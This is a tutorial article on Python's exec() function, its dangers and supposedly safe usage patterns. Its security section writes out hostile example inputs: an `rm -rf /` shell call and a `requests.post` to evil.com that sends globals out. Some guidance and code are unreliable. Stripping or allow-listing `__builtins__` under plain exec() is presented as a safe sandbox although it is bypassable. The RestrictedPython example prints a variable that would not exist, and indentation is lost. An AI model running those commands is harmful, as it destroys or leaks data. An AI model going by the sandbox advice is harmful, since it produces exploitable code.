exec() in Python: Dynamic Code Execution Done Right (and Safely) in 2026 remains one of Python’s most powerful — and most dangerous — built-in functions. It lets you run arbitrary Python code stored as a string at runtime, opening doors to metaprogramming, configuration-driven behavior, plugin systems, REPL-like tools, code generation, and dynamic evaluation. But in 2026, with security threats, sandboxing needs, and modern alternatives like ast.literal_eval, restricted Python environments, and safer eval/exec wrappers, responsible use of exec() has become a discipline rather than a free-for-all. This article explores when, why, and — most importantly — how to use exec() safely and effectively in modern Python.
1. What exec() Actually Does — and Why It’s Powerful
exec(code, globals=None, locals=None) compiles and executes the string code as Python code in the given namespaces. It can:
- Define functions/classes dynamically
- Modify the current scope (add variables, functions)
- Run code from config files, user input, plugins, or generated strings
- Enable DSLs, templating engines, and REPLs
Basic example (still common in 2026):
code = """
def greet(name):
print(f"Hello, {name}!")
greet("World")
"""
exec(code) # ? Hello, World!
2. The Security Reality in 2026 — exec() Is Dangerous by Default
Never run exec() on untrusted input. Even in 2026, common attacks include:
__import__('os').system('rm -rf /')- Resource exhaustion:
while True: pass - Data exfiltration:
requests.post('evil.com', data=globals()) - Module poisoning: redefining
openor builtins
Rule #1 in 2026: If the code string comes from a user, config file you don’t fully control, network, database, or plugin — do NOT use plain exec().
3. Safe Patterns — Modern Ways to Use exec() in 2026
Pattern 1: Restricted Globals + Locals (Safest for semi-trusted code)
safe_globals = {"__builtins__": {}} # no builtins ? very restricted
safe_locals = {}
code = "x = 42; print(x)" # this will fail (no print)
# exec(code, safe_globals, safe_locals) # NameError: name 'print' is not defined
# Minimal safe builtins
safe_builtins = {"print": print, "len": len}
safe_globals = {"__builtins__": safe_builtins}
exec("print('Hello from sandbox!')", safe_globals, {})
Pattern 2: Restricted Python with RestrictedPython / PyPy Sandbox
Use RestrictedPython (still active in 2026) to allow safe exec:
from RestrictedPython import compile_restricted_exec, safe_globals
code = """
def safe_add(a, b):
return a + b
result = safe_add(10, 20)
"""
bytecode = compile_restricted_exec(code)
exec(bytecode.code, safe_globals, {})
print(result) # 30
# Malicious code ? fails or restricted
Pattern 3: eval() + ast.literal_eval() for Simple Cases
Before reaching for exec(), ask: do I really need full code execution?
# Safe: constants & simple expressions
from ast import literal_eval
config = literal_eval("{'host': 'localhost', 'port': 8080}")
print(config) # {'host': 'localhost', 'port': 8080}
# eval() for simple math/expressions (still risky if untrusted)
x = 10
y = eval("x * 2 + 5") # 25 — but NEVER use on untrusted input
Pattern 4: Plugin Systems & DSLs — Controlled exec()
Many 2026 tools still safely useexec() in controlled environments:
# Example: simple plugin loader
def load_plugin(code_str, plugin_name):
local_scope = {}
exec(code_str, {"__builtins__": {}}, local_scope)
return local_scope.get("run", None)
plugin_code = """
def run(data):
return data.upper()
"""
plugin = load_plugin(plugin_code, "upper_plugin")
print(plugin("hello")) # HELLO
Real-world pattern: safe dynamic config & validation in 2026
from pydantic import BaseModel, ValidationError
class SafeConfig(BaseModel):
host: str
port: int = 8000
def load_dynamic_config(code_str: str) -> dict:
safe_globals = {"__builtins__": {"dict": dict, "int": int, "str": str}}
local = {}
try:
exec(code_str, safe_globals, local)
config_dict = local.get("config", {})
return SafeConfig(**config_dict).model_dump()
except (SyntaxError, NameError, ValidationError) as e:
raise ValueError(f"Invalid config: {e}")
# Trusted config string
trusted_config = """
config = {
'host': 'api.example.com',
'port': 443
}
"""
cfg = load_dynamic_config(trusted_config)
print(cfg) # {'host': 'api.example.com', 'port': 443}
Best practices for exec() in Python 2026. Never use plain exec() on untrusted input — ever. Prefer ast.literal_eval() for constants. Use RestrictedPython or sandboxed environments (PyPy, Pyodide) for semi-trusted code. Restrict globals/locals heavily — remove __builtins__ or allow-list only safe names. Use Pydantic/BaseModel validation — after exec() to sanitize output. Prefer configuration via YAML/TOML/JSON — safer than exec(). Use exec() only for: plugin systems with trusted plugins, DSLs you control, REPL tools, metaprogramming in safe contexts. Add type hints & logging — track what was executed. Use sandboxed subprocess or WebAssembly — for truly untrusted code (2026 trend). Prefer safer alternatives: FastAPI/Pydantic for APIs, Polars expressions for dynamic queries, Jinja2 for templates, restricted eval for expressions. Audit & test — any exec() path must be security-reviewed.
exec() is a sharp tool — incredibly useful when used correctly, incredibly dangerous when misused. In 2026, treat it like a chainsaw: respect it, restrict it, and always use safety guards. Master safe exec patterns, and you’ll unlock dynamic, flexible, powerful Python code without compromising security.
Next time you consider dynamic code execution — reach for controlled, audited, restricted exec(). It’s Python’s cleanest way to say: “Run this code I generated — but only if I trust it completely.”